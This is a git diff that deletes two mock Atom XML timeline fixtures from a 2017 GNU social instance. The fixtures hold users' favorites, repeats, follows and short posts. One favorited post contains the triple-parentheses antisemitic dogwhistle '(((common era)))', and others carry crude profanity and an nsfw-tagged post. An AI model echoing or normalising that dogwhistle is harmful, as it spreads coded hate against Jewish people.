a/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_23211.atom.xml b/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_23211.atom.xml deleted file mode 100644 index 6cba5c28f..000000000 --- a/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_23211.atom.xml +++ /dev/null @@ -1,591 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/23211.atom - lambadalambda timeline - Updates from lambadalambda on social.heldscal.la! - https://social.heldscal.la/avatar/23211-96-20170416114255.jpeg - 2017-05-05T12:01:21+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/23211 - lambadalambda - Call me Deacon Blues. - - - - - - lambadalambda - Constance Variable - Call me Deacon Blues. - - Berlin - - - homepage - https://heldscal.la - true - - - - - - - - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2063249:2017-05-05T11:40:21+00:00 - Favorite - lambadalambda favorited something by tatiana: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> they will start complaining about this, but won't come up with any solutions)</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T11:40:21+00:00 - 2017-05-05T11:40:21+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:social.weho.st,2017-05-05:objectId=172033:objectType=Status - New comment by tatiana - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> they will start complaining about this, but won't come up with any solutions)</p> - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2063041:2017-05-05T11:27:28+00:00 - Favorite - lambadalambda favorited something by kat: @<a href="https://social.heldscal.la/lambadalambda" class="h-card mention" title="Constance Variable">lambadalambda</a> if the admin reading mine would delete a few it would be really useful in prioritising.  - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T11:27:28+00:00 - 2017-05-05T11:27:28+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:quitter.se,2017-05-05:noticeId=11807959:objectType=comment - New comment by kat - @<a href="https://social.heldscal.la/lambadalambda" class="h-card mention" title="Constance Variable">lambadalambda</a> if the admin reading mine would delete a few it would be really useful in prioritising.  - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - tag:social.heldscal.la,2017-05-05:noticeId=2062924:objectType=note - lambadalambda repeated a notice by nielsk - RT @nielsk @<a href="https://social.heldscal.la/user/23211" class="h-card u-url p-nickname mention" title="Constance Variable">lambadalambda</a> but there are soooo many, where should I start to read? - - http://activitystrea.ms/schema/1.0/share - 2017-05-05T11:09:37+00:00 - 2017-05-05T11:09:37+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:mastodon.social,2017-05-05:objectId=5024471:objectType=Status - - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> but there are soooo many, where should I start to read?</p> - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T11:05:18+00:00 - 2017-05-05T11:05:18+00:00 - - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/nielsk - nielsk - Sysadmin by day and ehm… sysadmin by night. Besides that old video games, Japan, economics and some other stuff - - - - - - nielsk - nielsk - Sysadmin by day and ehm… sysadmin by night. Besides that old video games, Japan, economics and some other stuff - - - - http://activitystrea.ms/schema/1.0/comment - tag:mastodon.social,2017-05-05:objectId=5024471:objectType=Status - New comment by nielsk - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> but there are soooo many, where should I start to read?</p> - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - https://mastodon.social/users/nielsk.atom - nielsk - - - https://social.heldscal.la/avatar/29849-96-20170428120041.jpeg - 2017-05-05T11:06:32+00:00 - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2062875:2017-05-05T11:09:27+00:00 - Favorite - lambadalambda favorited something by nielsk: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> but there are soooo many, where should I start to read?</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T11:09:27+00:00 - 2017-05-05T11:09:27+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:mastodon.social,2017-05-05:objectId=5024471:objectType=Status - New comment by nielsk - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> but there are soooo many, where should I start to read?</p> - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2062863:2017-05-05T11:09:11+00:00 - Favorite - lambadalambda favorited something by kasil: <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> surely, google is not that evil !</p> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T11:09:11+00:00 - 2017-05-05T11:09:11+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:loutre.info,2017-05-05:objectId=23331:objectType=Status - New comment by kasil - <p><span class="h-card"><a href="https://social.heldscal.la/lambadalambda" class="u-url mention">@<span>lambadalambda</span></a></span> surely, google is not that evil !</p> - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-05:noticeId=2062767:objectType=comment - New comment by lambadalambda - @<a href="https://sealion.club/user/4" class="h-card u-url p-nickname mention" title="dewoo &#x274E;">dwmatiz</a> dunno, probably. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:55:17+00:00 - 2017-05-05T10:55:17+00:00 - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-05:noticeId=2062705:objectType=comment - New comment by lambadalambda - @<a href="https://gs.smuglo.li/user/28250" class="h-card u-url p-nickname mention" title="Bricky">thatbrickster</a> I do it, too. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:48:12+00:00 - 2017-05-05T10:48:12+00:00 - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - - http://activitystrea.ms/schema/1.0/comment - tag:social.heldscal.la,2017-05-05:noticeId=2062620:objectType=comment - New comment by lambadalambda - @<a href="https://social.tchncs.de/users/israuor" class="h-card u-url p-nickname mention" title="Israuor &#x2642;">israuor</a> @<a href="https://mastodon.gougere.fr/users/bortzmeyer" class="h-card u-url p-nickname mention" title="S. Bortzmeyer &#x2705;">bortzmeyer</a> so, 99%. 100% for 'normal' people. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:38:52+00:00 - 2017-05-05T10:38:52+00:00 - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-05:noticeId=2062583:objectType=note - New note by lambadalambda - I wonder what'll happen when people realize the admin at their mail hoster can read all their e-mails. - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T10:35:45+00:00 - 2017-05-05T10:35:45+00:00 - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=e95b99adc050e198 - - - - - - - tag:social.heldscal.la,2017-05-05:subscription:23211:person:35708:2017-05-05T09:34:46+00:00 - Constance Variable (lambadalambda@social.heldscal.la)'s status on Friday, 05-May-2017 09:34:46 UTC - <a href="https://social.heldscal.la/lambadalambda">Constance Variable</a> started following <a href="https://mastodon.social/@milouse">milouse</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-05-05T09:34:46+00:00 - 2017-05-05T09:34:46+00:00 - - http://activitystrea.ms/schema/1.0/person - https://mastodon.social/users/milouse - milouse - #Scout leader #sgdf, interested in #openweb, #semanticweb, #privacy, #foss and #socialeconomy. 0xA714ECAC8C9CEE3D - - - - - - milouse - milouse - #Scout leader #sgdf, interested in #openweb, #semanticweb, #privacy, #foss and #socialeconomy. 0xA714ECAC8C9CEE3D - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=26ca19a355bb6135 - - - - - - - tag:social.heldscal.la,2017-05-05:noticeId=2061871:objectType=note - lambadalambda repeated a notice by safebot - RT @<a href="https://gs.smuglo.li/user/25857" class="h-card u-url p-nickname mention" title="safebot">safebot</a> #<span class="tag"><a href="https://social.heldscal.la/tag/cheers" rel="tag">cheers</a></span> <a href="https://gs.smuglo.li/attachment/456444" title="https://gs.smuglo.li/attachment/456444" rel="nofollow external noreferrer" class="attachment" id="attachment-432334">https://gs.smuglo.li/attachment/456444</a> - - http://activitystrea.ms/schema/1.0/share - 2017-05-05T09:16:17+00:00 - 2017-05-05T09:16:17+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:gs.smuglo.li,2017-05-05:noticeId=2188073:objectType=note - - #<span class="tag"><a href="https://gs.smuglo.li/tag/cheers" rel="tag">cheers</a></span> <a href="https://gs.smuglo.li/file/5099e73c83da778cd032a721e96880f99a868b712be2975d08238547a5ba06c7.jpg" title="https://gs.smuglo.li/file/5099e73c83da778cd032a721e96880f99a868b712be2975d08238547a5ba06c7.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/456444</a> - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T08:36:53+00:00 - 2017-05-05T08:36:53+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.smuglo.li/user/25857 - safebot - - - - - - safebot - safebot - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.smuglo.li,2017-05-05:noticeId=2188073:objectType=note - New note by safebot - #<span class="tag"><a href="https://gs.smuglo.li/tag/cheers" rel="tag">cheers</a></span> <a href="https://gs.smuglo.li/file/5099e73c83da778cd032a721e96880f99a868b712be2975d08238547a5ba06c7.jpg" title="https://gs.smuglo.li/file/5099e73c83da778cd032a721e96880f99a868b712be2975d08238547a5ba06c7.jpg" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/456444</a> - - - - - https://gs.smuglo.li/conversation/1009429 - - - - https://gs.smuglo.li/api/statuses/user_timeline/25857.atom - safebot - - - https://social.heldscal.la/avatar/25719-original-20161215233234.jpeg - 2017-05-05T12:00:57+00:00 - - - - https://gs.smuglo.li/conversation/1009429 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061643:2017-05-05T09:12:50+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:12:50+00:00 - 2017-05-05T09:12:50+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827873:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> @<a href="https://gs.smuglo.li/user/2326" class="h-card mention" title="Dolus_McHonest">dolus</a> childhood poring over Strong's concordance and a koine Greek dictionary, fast forward to 2017 and some fuckstick who translates japanese jackoff material tells me you just need to make it sound right in English - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=55ead90125cd4bd4 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061696:2017-05-05T09:06:10+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> <br /> <span class="greentext">&gt; (((common era)))</span> - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T09:06:10+00:00 - 2017-05-05T09:06:10+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827918:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> <br /> <span class="greentext">&gt; (((common era)))</span> - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=55ead90125cd4bd4 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:note:2061673:2017-05-05T08:58:28+00:00 - Favorite - lambadalambda favorited something by moonman: discussion is one thing but any argument I've heard over and over again for the last three decades is going to go unanswered. - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:58:28+00:00 - 2017-05-05T08:58:28+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:shitposter.club,2017-05-05:noticeId=2827895:objectType=note - New note by moonman - discussion is one thing but any argument I've heard over and over again for the last three decades is going to go unanswered. - - - - - - - https://shitposter.club/conversation/1390494 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061280:2017-05-05T08:47:38+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> sex is for procreation and as an expression of intimacy between commited couples, it is a sacramental act - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:47:38+00:00 - 2017-05-05T08:47:38+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827561:objectType=comment - New comment by moonman - @<a href="https://shitposter.club/user/9655" class="h-card mention" title="Solidarity for Pigs">neimzr4luzerz</a> sex is for procreation and as an expression of intimacy between commited couples, it is a sacramental act - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=55ead90125cd4bd4 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:note:2061535:2017-05-05T08:40:55+00:00 - Favorite - lambadalambda favorited something by fortune: What did Mickey Mouse get for Christmas?<br /> <br /> A Dan Quayle watch.<br /> <br /> -- heard from a Mike Dukakis field worker - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:40:55+00:00 - 2017-05-05T08:40:55+00:00 - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-05:noticeId=2061535:objectType=note - New note by fortune - What did Mickey Mouse get for Christmas?<br /> <br /> A Dan Quayle watch.<br /> <br /> -- heard from a Mike Dukakis field worker - - - - - - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=5185e5c145ee4762 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061421:2017-05-05T08:36:27+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://maly.io/users/sonya" class="h-card mention" title="Sonya Mann ✅">sonya</a> banned from 4chan. you better watch ou. i'm trouble, y'hear? - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:36:27+00:00 - 2017-05-05T08:36:27+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827689:objectType=comment - New comment by moonman - @<a href="https://maly.io/users/sonya" class="h-card mention" title="Sonya Mann ✅">sonya</a> banned from 4chan. you better watch ou. i'm trouble, y'hear? - - - - - - - https://shitposter.club/conversation/1389345 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061351:2017-05-05T08:28:03+00:00 - Favorite - lambadalambda favorited something by moonman: @<a href="https://social.heldscal.la/user/29138" class="h-card mention" title="Claes Wallin (韋嘉誠)">clacke</a> is that the sequel to Time Crisis - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:28:03+00:00 - 2017-05-05T08:28:03+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827630:objectType=comment - New comment by moonman - @<a href="https://social.heldscal.la/user/29138" class="h-card mention" title="Claes Wallin (韋嘉誠)">clacke</a> is that the sequel to Time Crisis - - - - - - - https://shitposter.club/conversation/1385528 - - - - - - - tag:social.heldscal.la,2017-05-05:fave:23211:comment:2061339:2017-05-05T08:21:05+00:00 - Favorite - lambadalambda favorited something by hardbass2k8: @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> pretty sure it's money laundering - - http://activitystrea.ms/schema/1.0/favorite - 2017-05-05T08:21:05+00:00 - 2017-05-05T08:21:05+00:00 - - http://activitystrea.ms/schema/1.0/comment - tag:shitposter.club,2017-05-05:noticeId=2827617:objectType=comment - New comment by hardbass2k8 - @<a href="https://social.heldscal.la/user/23211" class="h-card mention" title="Constance Variable">lambadalambda</a> pretty sure it's money laundering - - - - - - - https://shitposter.club/conversation/1387523 - - - - - - - http://activitystrea.ms/schema/1.0/note - tag:social.heldscal.la,2017-05-05:noticeId=2061303:objectType=note - New note by lambadalambda - It's got tattoos, it's got a pierced hood<br /> It's got generation X<br /> It's got lesbians, and vitriol<br /> And sadomasochistic latex sex<br /> It's got Mighty Morphin' power brokers<br /> And Tanya Harding nude<br /> Macrobiotic lacto-vegan non-confrontational free range food<br /> It's got the handshake, peace talk, non-aggression pact<br /> A multicultural integration of segregated historical facts<br /> <br /> #<span class="tag"><a href="https://social.heldscal.la/tag/nsfw" rel="tag">nsfw</a></span> <a href="https://social.heldscal.la/file/61c13b99c92f40ec4865e7a3830da340b187e3de70d94b8da38fd2138bbede3a.jpg" title="https://social.heldscal.la/file/61c13b99c92f40ec4865e7a3830da340b187e3de70d94b8da38fd2138bbede3a.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-432199">https://social.heldscal.la/attachment/432199</a> <a href="https://social.heldscal.la/file/a88bba1a324da68ee2cfdbcd1c4cde60bd9553298244d6f81731270b71aa80df.jpg" title="https://social.heldscal.la/file/a88bba1a324da68ee2cfdbcd1c4cde60bd9553298244d6f81731270b71aa80df.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-432200">https://social.heldscal.la/attachment/432200</a> <a href="https://social.heldscal.la/file/887329a303250e73dc2eea06b1f0512fcac4b9d1b534068f03c45f00d5b21c39.jpg" title="https://social.heldscal.la/file/887329a303250e73dc2eea06b1f0512fcac4b9d1b534068f03c45f00d5b21c39.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-432201">https://social.heldscal.la/attachment/432201</a> <a href="https://social.heldscal.la/file/6d7a1ec15c1368c4c68810434d24da528606fcbccdd1da97b25affafeeb6ffda.jpg" title="https://social.heldscal.la/file/6d7a1ec15c1368c4c68810434d24da528606fcbccdd1da97b25affafeeb6ffda.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-432202">https://social.heldscal.la/attachment/432202</a> <a href="https://social.heldscal.la/file/2f55f2bb028eb9be744cc82b35a6b86b496d8c3924c700aff55a872ff11df54c.jpg" title="https://social.heldscal.la/file/2f55f2bb028eb9be744cc82b35a6b86b496d8c3924c700aff55a872ff11df54c.jpg" rel="nofollow external noreferrer" class="attachment" id="attachment-432203">https://social.heldscal.la/attachment/432203</a> - - - http://activitystrea.ms/schema/1.0/post - 2017-05-05T08:17:08+00:00 - 2017-05-05T08:17:08+00:00 - - tag:social.heldscal.la,2017-05-05:objectType=thread:nonce=bb6f4343036970e8 - - - - - - - - - - - - diff --git a/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_29191.atom.xml b/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_29191.atom.xml deleted file mode 100644 index f70fbc695..000000000 --- a/test/fixtures/tesla_mock/https___social.heldscal.la_api_statuses_user_timeline_29191.atom.xml +++ /dev/null @@ -1,719 +0,0 @@ - - - GNU social - https://social.heldscal.la/api/statuses/user_timeline/29191.atom - shp timeline - Updates from shp on social.heldscal.la! - https://social.heldscal.la/avatar/29191-96-20170421154949.jpeg - 2017-05-05T11:57:06+00:00 - - http://activitystrea.ms/schema/1.0/person - https://social.heldscal.la/user/29191 - shp - cofe - - - - - - shp - shp - cofe - - cofe - - - - - - - - - - - - - - tag:social.heldscal.la,2017-04-29:noticeId=1967657:objectType=note - shp repeated a notice by lain - RT @<a href="https://social.heldscal.la/user/37181" class="h-card u-url p-nickname mention" title="Lain Iwakura">lain</a> @<a href="https://social.heldscal.la/user/29191" class="h-card u-url p-nickname mention" title="shp">shp</a> @<a href="https://social.heldscal.la/user/23211" class="h-card u-url p-nickname mention">lambadalambda</a> cofe. - - http://activitystrea.ms/schema/1.0/share - 2017-04-29T18:19:34+00:00 - 2017-04-29T18:19:34+00:00 - - http://activitystrea.ms/schema/1.0/activity - https://pleroma.soykaf.com/activities/43d12c05-db3f-4f3d-bee1-d676f264490c - - <a href="https://pleroma.soykaf.com/users/shp">@shp</a> <a href="https://social.heldscal.la/user/23211">@lambadalambda@social.heldscal.la</a> cofe. - - http://activitystrea.ms/schema/1.0/post - 2017-04-29T18:14:36+00:00 - 2017-04-29T18:14:36+00:00 - - http://activitystrea.ms/schema/1.0/person - https://pleroma.soykaf.com/users/lain - lain - Test account - - - - - - lain - Lain Iwakura - Test account - - - - http://activitystrea.ms/schema/1.0/note - https://pleroma.soykaf.com/activities/43d12c05-db3f-4f3d-bee1-d676f264490c - New note by lain - <a href="https://pleroma.soykaf.com/users/shp">@shp</a> <a href="https://social.heldscal.la/user/23211">@lambadalambda@social.heldscal.la</a> cofe. - - - - - tag:social.heldscal.la,2017-04-29:objectType=thread:nonce=e0b75431888efdab - - - https://pleroma.soykaf.com/users/lain/feed.atom - Lain Iwakura - - - https://social.heldscal.la/avatar/43188-96-20170429172422.jpeg - 2017-05-05T08:38:03+00:00 - - - - tag:social.heldscal.la,2017-04-29:objectType=thread:nonce=e0b75431888efdab - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:29558:2017-04-27T17:26:37+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:26:37 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://gs.smuglo.li/kfist">KFist</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:26:37+00:00 - 2017-04-27T17:26:37+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.smuglo.li/user/28051 - KFist - I stream thanks to @nepfag. I also drink, shitpost, and fly planes. I visited Japan and it changed my life. Do you love your station? - - - - - - kfist - KFist - I stream thanks to @nepfag. I also drink, shitpost, and fly planes. I visited Japan and it changed my life. Do you love your station? - - homepage - http://smuglo.li:8000/stream.m3u - true - - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=f766240d13ed9c2e - - - - - - - tag:social.heldscal.la,2017-04-27:noticeId=1933030:objectType=note - shp repeated a notice by shpbot - RT @<a href="https://gs.archae.me/user/4687" class="h-card u-url p-nickname mention" title="shpbot">shpbot</a> &gt;QuakeC - - http://activitystrea.ms/schema/1.0/share - 2017-04-27T17:21:10+00:00 - 2017-04-27T17:21:10+00:00 - - http://activitystrea.ms/schema/1.0/activity - tag:gs.archae.me,2017-04-27:noticeId=760881:objectType=note - - <span class='greentext'>&gt;QuakeC</span> - - http://activitystrea.ms/schema/1.0/post - 2017-04-27T17:15:13+00:00 - 2017-04-27T17:15:13+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.archae.me/user/4687 - shpbot - - - - - - shpbot - shpbot - - - - http://activitystrea.ms/schema/1.0/note - tag:gs.archae.me,2017-04-27:noticeId=760881:objectType=note - New note by shpbot - <span class='greentext'>&gt;QuakeC</span> - - - - - https://gs.archae.me/conversation/318362 - - - https://gs.archae.me/api/statuses/user_timeline/4687.atom - shpbot - - - https://social.heldscal.la/avatar/31581-original-20170405170019.jpeg - 2017-05-05T11:45:08+00:00 - - - - https://gs.archae.me/conversation/318362 - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:23226:2017-04-27T17:20:48+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:20:48 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="http://quitter.se/taknamay">Internet Turtle Ⓐ 🏴 ✅</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:20:48+00:00 - 2017-04-27T17:20:48+00:00 - - http://activitystrea.ms/schema/1.0/person - http://quitter.se/user/115823 - Internet Turtle Ⓐ 🏴 ✅ - Scheme programmer, Novice esperantist, Spiritual naturalist - Will listen to your problems for free - XMPP: DarkDungeons94 at chatme.im - - - - - - taknamay - Internet Turtle Ⓐ 🏴 ✅ - Scheme programmer, Novice esperantist, Spiritual naturalist - Will listen to your problems for free - XMPP: DarkDungeons94 at chatme.im - - New Jersey, United States - - - homepage - https://quitter.se/taknamay - true - - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=a66b1fb22020c152 - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:29302:2017-04-27T17:20:33+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:20:33 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://icosahedron.website/@Trev">Chillidan Stormrave</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:20:33+00:00 - 2017-04-27T17:20:33+00:00 - - http://activitystrea.ms/schema/1.0/person - https://icosahedron.website/users/Trev - Trev Prime - web tech, music, ethics. radical individualist. kinda queer. love thy neighbor. always open for conversation. - - - - - - trev - Trev Prime - web tech, music, ethics. radical individualist. kinda queer. love thy neighbor. always open for conversation. - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=781c05bd64ad9520 - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:29367:2017-04-27T17:20:27+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:20:27 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://gs.kawa-kun.com/aya">射命丸 文</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:20:27+00:00 - 2017-04-27T17:20:27+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.kawa-kun.com/user/4885 - 射命丸 文 - Traditional Reporter of Fantasy - - - - - - aya - 射命丸 文 - Traditional Reporter of Fantasy - - Gensōkyō - - - homepage - https://danbooru.donmai.us - true - - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=5921da7a934e47ca - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:27773:2017-04-27T17:20:18+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:20:18 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://gs.smuglo.li/japananon">JapanAnon</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:20:18+00:00 - 2017-04-27T17:20:18+00:00 - - http://activitystrea.ms/schema/1.0/person - https://gs.smuglo.li/user/27299 - JapanAnon - 匿名でしていてね! - - - - - - japananon - JapanAnon - 匿名でしていてね! - - ワイヤード - - - homepage - http://www.anonymous-japan.org - true - - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=ae3d819865886cba - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:36560:2017-04-27T17:19:30+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:19:30 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://shitposter.club/wareya">wareya</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:19:30+00:00 - 2017-04-27T17:19:30+00:00 - - http://activitystrea.ms/schema/1.0/person - https://shitposter.club/user/15439 - wareya - Who are you to defy such a perfect being that is the machine? 日本語難しいけど頑張るぜ github.com/wareya wareya.moe Short: reya or war, never "ware" - - - - - - wareya - wareya - Who are you to defy such a perfect being that is the machine? 日本語難しいけど頑張るぜ github.com/wareya wareya.moe Short: reya or war, never "ware" - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=bd88a3cd20b5a418 - - - - - - - tag:social.heldscal.la,2017-04-27:subscription:29191:person:41176:2017-04-27T17:19:21+00:00 - shp (shp@social.heldscal.la)'s status on Thursday, 27-Apr-2017 17:19:21 UTC - <a href="https://social.heldscal.la/shp">shp</a> started following <a href="https://hakui.club/takeshitakenji">竹下憲二 (白)</a>. - - http://activitystrea.ms/schema/1.0/follow - 2017-04-27T17:19:21+00:00 - 2017-04-27T17:19:21+00:00 - - http://activitystrea.ms/schema/1.0/person - https://hakui.club/user/6 - 竹下憲二 (白) - Oh boy. - - - - - - takeshitakenji - 竹下憲二 (白) - Oh boy. - - Seattle, WA - - - homepage - http://gs.kawa-kun.com - true - - - - tag:social.heldscal.la,2017-04-27:objectType=thread:nonce=b139a673deba6963 - - - - - - - tag:social.heldscal.la,2017-04-27:fave:29191:note:1932205:2017-04-27T17:17:46+00:00 - Favorite - shp favorited something by dolus: Looks like Merry is pussing out and caving to pressure. Sad. <a href="https://gs.smuglo.li/file/23e37de3c321248d3f322d8ec042372914568ab4c9431a94e568a61b8146587f.png" title="https://gs.smuglo.li/file/23e37de3c321248d3f322d8ec042372914568ab4c9431a94e568a61b8146587f.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432294</a> <a href="https://gs.smuglo.li/file/e5a9549a19986d59d51750090910f47c186787adf02b2b6ac58df37556887297.png" title="https://gs.smuglo.li/file/e5a9549a19986d59d51750090910f47c186787adf02b2b6ac58df37556887297.png" rel="nofollow noreferrer" class="attachment">https://gs.smuglo.li/attachment/432295</a> <a 